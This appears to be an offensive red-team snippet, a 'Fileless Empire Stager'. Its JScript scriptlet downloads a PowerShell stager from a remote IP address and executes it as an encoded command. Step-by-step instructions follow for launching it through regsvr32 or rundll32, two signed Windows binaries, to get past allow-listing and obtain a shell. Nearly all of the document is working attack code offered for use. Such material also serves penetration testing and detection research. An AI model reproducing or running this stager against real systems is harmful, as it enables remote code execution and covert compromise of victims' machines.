Fileless Empire Stager

empire.sct

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Component"
    progid="Empire"
    version="1.01"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}"
>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
	
	function Exec()
	{
		//Created By Casey Smith @subTee
		w = new ActiveXObject("WScript.Shell");
		h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
		h.Open("GET","http://192.168.56.103/stager.ps1",false);
		h.Send();
		c = h.ResponseText;
		ps = 'powershell.exe -EncodedCommand ';
		r = new ActiveXObject("WScript.Shell").Exec(ps + c);
		
	}
	
]]>
</script>

</scriptlet>

HOWTO

1. Create Empire Listener
2. Generate Stager
3. Host Stager Code At Some URL
4. Host .sct File At Some URL
5. On host, execute regsvr32.exe /i:http://server/empire.sct scrobj.dll
6. Instanitate the Object. ( ex: $s=New-Object -COM "Empire";$s.Exec() )
    -Or This rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();s=new%20ActiveXObject("Empire");s.Exec();
7. Wait for Shell...